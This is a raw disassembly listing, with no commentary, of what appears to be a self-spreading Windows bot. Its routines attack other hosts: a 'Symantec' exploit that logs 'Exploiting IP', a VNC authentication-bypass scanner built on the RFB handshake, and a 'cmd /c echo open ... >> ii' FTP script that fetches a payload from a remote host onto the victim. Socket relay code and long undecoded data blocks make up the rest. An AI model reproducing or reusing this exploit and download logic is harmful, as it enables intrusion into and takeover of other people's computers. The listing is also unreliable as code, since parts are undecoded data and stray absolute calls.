		mov	eax, dword_433424
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433428
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433418
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA8
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433298
		add	esp, 2Ch
		push	eax
		call	dword_4CB9E4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA8
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D8[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF8
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433410
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF8
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D8
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	68h
		push	offset dword_432F0C
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	0A0h
		push	offset dword_432F78
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433130
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_43319C
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433210
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_43301C
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_43309C
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26A0475h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C90
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	edi
		push	0A8h
		push	offset dword_432D1C
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	edi
		push	0DEh
		push	offset dword_432DC8
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA7C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429110
		push	eax
		push	eax
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_431804o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA24
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_43342C
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346E4
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9E4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA7C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB89C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431808[eax]
		push	ebx
		lea	eax, dword_431808[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE718
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE714
		nop
		call	near ptr 2740000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		nop
		call	near ptr 2730000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE718
		call	dword_4CBA34
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9E4h, 6A56066Ah, 45896602h, 6415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA1015h
		dd 0FF056A00h, 15FF0875h, 4CBA0Ch, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 7815FF08h, 0A3004CBAh, 4CE718h
		dd 57F4458Dh, 0E7146850h, 1068004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE70Ch
		dd 4CE70868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE710h, 890CC483h, 0CA1BC45h, 89004CE7h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 9FE890B4h, 50023515h, 0E70C35FFh,	0E890004Ch
		dd 2351592h, 0FCEE850h,	8D900235h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E868h
		dd 0E8905700h, 2271284h, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 29145FE8h, 45899002h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 1446E850h, 6A900229h, 0F04589FFh
		dd 0E8D875FFh, 22A15A8h, 75FF5790h, 2E890F0h, 57022A1Ch
		dd 0E8EC75FFh, 22A1BF9h, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 341911E8h, 1035FF02h, 0FF004CE7h,	1435FFD6h
		dd 0FF004CE7h, 835FFD6h, 0FF004CE7h, 0C35FFD6h,	0FF004CE7h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E720A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9E4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA6415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h
		dd 8B900230h, 0FFFF5485h, 69106AFFh, 234C0h, 2CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA1015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB97815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 6802300Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE720h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA1015FFh, 0C63B004Ch, 15FF5475h, 4CB978h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 300D57E8h, 56A9002h, 0C15FF57h
		dd 3B004CBAh, 0D4840FC6h, 0C7000000h, 10FC45h, 10BE0000h
